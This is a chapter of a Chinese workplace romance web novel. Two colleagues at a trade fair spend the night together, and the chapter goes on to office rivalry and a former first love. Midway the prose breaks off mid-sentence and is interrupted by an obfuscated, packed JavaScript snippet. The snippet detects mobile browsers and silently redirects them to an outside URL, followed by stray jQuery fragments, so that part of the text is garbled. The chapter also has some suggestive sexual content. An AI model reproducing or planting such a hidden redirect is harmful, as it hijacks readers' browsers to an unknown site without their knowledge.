晚上十点，辛熙收到了龚长安的消息，他说海德堡那边态度暧昧，他需要和她见面，再多了解些详情，以便能说服他们。


    辛熙装没看见，摁灭手机，继续处理工作。


    过了一会儿，房间门铃响了，她心下生疑，担心莫不是龚长安找来了，于是先挂上了安全锁，才从门洞里确认来人。


    姜渠听见细微的铁链碰撞门板的声音，紧跟着又取下来。


    门被拉开，脸上的警惕还没有全部消散，辛熙问他，“你来干嘛？”她这一层住满了麦高的同事，意味着他走过来的每一步，都可能踩到爆雷，“有碰到谁吗？”


    姜渠示意她去看寂静无人的幽暗走廊，“如果让我在门口多站一会儿，估计能遇到某个吃完宵夜回来的。”


    辛熙只好退身，让他进门。


    她喜欢坐在地毯上，靠枕坐一个垫一个，电脑有时在茶几上，有时放在大腿，总之不会出现在书桌上。书桌最大的作用是放了一堆瓶瓶罐罐，因为这里的光线最好，适合化妆。而她换下来的一堆衣服，铺满了淋浴间到床边的路。


    “别动，我就喜欢这样的”，见姜渠弯下腰拾掇起来，辛熙立马出手制止，嘴硬着。她其实并不喜欢太凌乱，只是今天脑子里太多事情和想法，她怕忘记了，所以一进房间，立马脱了衣服洗澡，换上件宽松体恤衫，就开了电脑工作。


    “没吃晚饭？”姜渠将门口的几件衣服归拢放到椅子上，顺势斜靠着桌沿。


    “陪客户的时候吃了点”，辛熙走近他身边闻了闻，身上的酒气已经散尽，只剩沐浴过后的清香，“你们今晚不是请安贞集团的人吃饭吗？这么早就结束了？”


    “事情谈完，就撤了。”


    “没有下一场？”


    “什么下一场？”


    辛熙认为他装傻充愣，挑着眼瞪他。饮饱思淫/欲，陪客户吃饱饭后，怎么少得了陪下一场风月？尤其是像安贞这样的重要客户，肯定是十八般武艺齐齐上码，势必得把客户哄开心了。


    虽然，她猜想，姜渠未必屑于用那些手段。


    “现在就是下一场”，姜渠将人拉到身边，双手掐着腰的最凹处。


    感应灯因为两个人迟迟没有动静而咔嚓一下灭掉，辛熙刚想出声，嘴下一子被盖住，从唇角，细嚼慢拢地咬，直到尝到舌尖的甜馨，才加重力度厮磨。感应灯亮了又灭，暗处纠缠的呼吸声猝地加重。


    “不行，我今晚还有好多事情要做”，在得到一个喘息的机会后，辛熙抓紧时间表明态度，虽然她已经喘得不行。


    “明天再做。”


    “明天有明天的事。”


    姜渠从她脖颈间抬起头，眼睛里的欲望并没消停，语气带点讽刺又有些豁然，“这么有上进心的话，应该看不上那种吃软饭的男人。”


    “谁？”辛熙从他怀里站直，但其实已经猜到了答案。


    “不过是个靠女人上位的，手里那点钱也不太干净”，姜渠也站起来，表情难得地透着几分狂傲不屑。他走到床边，大剌剌一躺，心情舒畅了些。


    白天里，那个叫鄢钰的女人在套近乎时特意提起，说他们沪星的市场总监不光是辛熙的学长，两个人还互为彼此初恋。男人么，也免不了好奇前任。所以在饭局上随意打听了几句，信息零零散散，也大概能够拼凑出一个模子来。


    靠女人上位，却又不甘愿臣服，背地里小动作很多，这种既要又要的最是让人厌恶。


    姜渠起身脱掉外套，手掌撑着床，领带已经在刚才纠缠时被扯开。这副模样，倒像个斯文败类。


    “你怎么知道他的？鄢钰告诉你的？”辛熙挪开眼，重新坐到自己的电脑面前，“你俩聊得不错嘛。姜总还真是到哪儿都能左右逢源。但比起这些无聊的八卦绯闻，我以为姜总会更关心沪星今年的战略计划？”


    姜渠轻笑，“能让她这种级别知道的信息，已经没有什么价值了”。


    辛熙抿嘴不语。她不可避免地被他言语里的傲慢刺伤，说到底，她和鄢钰都一样，都是公司的最基层。她很难不代入自己。


    要加油啊，哪怕是为了知道更多的内幕信息，然后在被其他人各种糖衣炮弹地套消息时，态度谦逊、姿态端方、保持神秘、高不可攀，然后拒绝回答。


    辛熙被自己的想法，逗得发出一丝冷笑。


    姜渠见此，问：“吃醋了？”


    “并没有”，辛熙回神，装作认真地办公，键盘敲得噼里啪啦的。


    “我就比你诚实多了”，姜渠直说，“我吃醋了”。


    初恋啊，多么美好的词语，他嫉妒那个男人见过她情窦初开的模样。


    键盘声停了三秒，再恢复，节奏明显缓和了很多。


    “虽然背后说人不太礼貌，但你以前的眼光真的很差劲”，他只能很小人地靠持续地贬低对方，来缓解自己无力消解的妒忌。


    “姜渠，我发现你有时候也很幼稚”，辛熙偏就不顺着他，不想他得意，“我现在的眼光也不见得多好”。


    “那你再仔细看看？”姜渠迫切地走到她身边，将她的头掰过来，一只手从膝盖窝里伸进去，另一只手穿过腰间，握住了她的手掌，控制着鼠标，把文档点了保存、退出、关闭，动作一气呵成，“这些不着急，展会结束后再整理。”


    人忽然腾空而起，辛熙还没来得及拒绝，电脑已经结束工作，息屏了。她在姜渠怀里扑腾两下，“我不做，不做。你有需要，自己解决，反正姜总魅力大。”


    姜渠停下来，看着怀里挣扎的人，“还说没吃醋了？醋劲儿比谁都大。”


    “我没有”，辛熙继续嘴硬。人被放到床上后，立即动作麻利地滚到另一侧，“姜总还是早些回自己房间吧，别耽误基层员工求上进。”


    “不急在这一时半会儿。”


    姜渠去抓她，她又一个翻滚，调转了方向，“我急哦，我还等着升职加薪呢。”


    “现在是我比较急”，姜渠叉腰站着，裤料下已经起了排山倒海之势。


    “那我不管”，辛熙像泥鳅一样滑走。


    “急人之所急，你行行好，过来”，姜渠抓着她的脚腕，拉到身下，“我最起码还是知恩图报的。昨晚你主动，今天我主动，绝不占便宜。”


    几番折腾下来，人累得不行。


    辛熙被放到了床上，残余的理智将她唤醒，又挣扎着要坐起来，被姜渠长臂一拦，双双一起跌进被窝里，“睡觉”。


    “我不困......”


    “你昨晚就没怎么睡”，姜渠将人抱着，“就算要拔苗助长也不能在深夜，做不了光合作用。”


    “可我的方案才写了一半......技术的打包售卖......先有完整的资料库，嗯......市场部的老师......”思路断断续续地凑不成完整的句子，辛熙放弃抵抗，任由睡意将自己淹没。


    这一觉直接睡到了第二天早上。


    叶眉来敲她的房门，辛熙被惊醒，一看身边的人早已经走掉，心稍安，开了门。


    “你居然有睡过的一天？”叶眉大惊。


    “昨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570452|167170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天查资料，睡太晚了”，谎话还真是，越说越顺嘴了。


    叶眉咂咂嘴，感叹：“你说，像你这样聪明又勤劳的员工哪里找，师尧他们真的太不懂珍惜了，居然还扣你的奖金。”


    “钱都是小事”，提起这个辛熙心里仍然有些委屈。她从小到大几乎没有受过什么责罚，一是因为她本来就乖顺懂事，二是出于自我防御，她从来不会做超出自己承担能力的事情。她一直把自己放在安全的盒子里，不争不抢也从不显山露水。


    做销售，是她抛弃自我的一次尝试，另一次就是在川西主动搭讪了那个令她情动的英俊男人。


    “我懂。不过，师尧说姜总也借此机会，在董事会立下军令状，换取了对中国区的绝对掌控权。”


    “他们倒是会借力打力”，辛熙正在给自己戴耳环，瞄到耳垂下方的红印，又把头发放了下来。


    “哎呀”，叶眉并不希望自己的好朋友和自己的男朋友有嫌隙，劝说：“总之，师尧呢，我已经帮你骂过了。至于姜总嘛，我不太敢......”


    “没关系，我已经骂过了”，辛熙顺嘴一说。


    “嗯？”


    “哦～我的意思是，在心里，在梦里，背地里，我已经骂了他千百遍了。”


    “行，你说的这些地方，我也都能帮上忙！”叶眉决定同仇敌忾。


    和叶眉告别后，辛熙去了沪星的展厅。


    她提着两杯咖啡，找到了在那儿指挥工作的龚长安。等看到他身边没人时，忙递上咖啡，语气讨好，“学长辛苦了。真是抱歉哦，昨晚陪客户聊到太晚，等看到学长消息的时候，已经十二点过，不敢再打扰学长休息。只能一大早，排队买好咖啡，特来向学长请罪。”


    她话说得漂漂亮亮的，又适当示弱，当着沪星那么多同事和客户，龚长安不可能对她发脾气。果然，他接过咖啡后，脸色缓和了很多，“我本来想着你着急，就趁他们下午上班时间，赶紧联系了海德堡那边。你知道的，那帮德国佬，说话办事滴水不漏，问了我一些问题，我也答不上来。”


    “是，是，辛苦学长了，那他们都有些什么疑问？”


    龚长安喝了一口咖啡，“在这儿说？”


    辛熙维持着官方得体的笑容，“那等中午，我请学长到对面的餐厅吃饭，我们边吃边聊？”


    “中午啊，我不一定有空。”


    心里的小人已经举起铁锤暴揍对方五十拳，但做销售后见过那么多难缠的客户，她已经能做到在面对各种牛鬼蛇神时，依然维持如造物主般的宽宏大量，“我知道，学长作为沪星的市场部总监，多的是事情要操心。那这样好不好？我们先把海德堡的问题解决了，等学长什么时候有空，我随叫随到。”


    “辛熙，几年不见，你变滑头了？”


    “学长莫不是以为我想赖账么？”辛熙装傻，叫住正好从旁边经过的鄢钰，把另一杯咖啡递给她，“你来帮我作见证，好不好？我欠学长一顿饭，等学长什么时候有空，什么时候兑现。”


    这个临时又刻意的约定，见证者可不仅仅只有鄢钰。


    不远处，刚好送走客户的姜渠一行人也看到了这个画面。


    “辛熙什么时候和沪星的人这么好了？”高桥站在队伍的末尾，声量不大不小地刚好被最前方的姜渠听到。


    何耀丹瞪了他一眼。她从昨晚高桥向安贞集团的人暗示可以带他们去玩点精彩刺激的开始，就有点后悔收纳这个人进自己的队伍了。


    愚蠢的人总是见缝插针地耍弄心机，妄惹是非。